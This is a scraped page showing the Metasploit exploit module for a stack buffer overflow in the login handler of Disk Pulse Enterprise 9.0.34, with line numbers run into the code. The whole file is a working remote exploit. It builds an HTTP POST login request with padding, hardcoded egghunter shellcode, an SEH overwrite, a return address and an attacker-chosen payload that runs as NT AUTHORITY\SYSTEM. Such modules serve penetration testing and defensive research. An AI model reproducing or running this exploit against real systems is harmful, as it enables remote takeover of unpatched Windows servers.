Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::Egghunter10include Msf::Exploit::Remote::Seh1112def initialize(info = {})13super(update_info(info,14'Name' => 'Disk Pulse Enterprise Login Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Disk Pulse Enterprise179.0.34. If a malicious user sends a malicious HTTP login request,18it is possible to execute a payload that would run under the Windows19NT AUTHORITY\SYSTEM account. Due to size constraints, this module20uses the Egghunter technique.21},22'License' => MSF_LICENSE,23'Author' =>24[25'Chris Higgins', # msf Module -- @ch1gg1ns26'Tulpa Security' # Original discovery -- @tulpa_security27],28'References' =>29[30[ 'EDB', '40452' ]31],32'DefaultOptions' =>33{34'EXITFUNC' => 'thread'35},36'Platform' => 'win',37'Payload' =>38{39'BadChars' => "\x00\x0a\x0d\x26"40},41'Targets' =>42[43[ 'Disk Pulse Enterprise 9.0.34',44{45'Ret' => 0x10013AAA, # pop ebp # pop ebx # ret 0x04 - libspp.dll46'Offset' => 1260047}48],49],50'Privileged' => true,51'DisclosureDate' => '2016-10-03',52'DefaultTarget' => 0))5354register_options([Opt::RPORT(80)])5556end5758def check59res = send_request_cgi({60'uri' => '/',61'method' => 'GET'62})6364if res and res.code == 200 and res.body =~ /Disk Pulse Enterprise v9\.0\.34/65return Exploit::CheckCode::Appears66end6768return Exploit::CheckCode::Safe69end7071def exploit72connect73eggoptions =74{75:checksum => true,76:eggtag => "w00t"77}7879print_status("Generating exploit...")8081sploit = "username=admin"82sploit << "&password=aaaaa\r\n"8384# Would like to use generate_egghunter(), looking for improvement85egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"86egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"8788sploit << rand_text(target['Offset'] - payload.encoded.length)89sploit << "w00tw00t"90sploit << payload.encoded91sploit << make_nops(70)92sploit << rand_text(1614)93# Would like to use generate_seh_record(), looking for improvement94sploit << "\x90\x90\xEB\x0B"95sploit << "\x33\xA3\x01\x10"96sploit << make_nops(20)97sploit << egghunter98sploit << make_nops(7000)99100# Total exploit size should be 21747101print_status("Total exploit size: " + sploit.length.to_s)102print_status("Triggering the exploit now...")103print_status("Please be patient, the egghunter may take a while...")104105res = send_request_cgi({106'uri' => '/login',107'method' => 'POST',108'content-type' => 'application/x-www-form-urlencoded',109'content-length' => '17000',110'data' => sploit111})112113handler114disconnect115116end117end118119120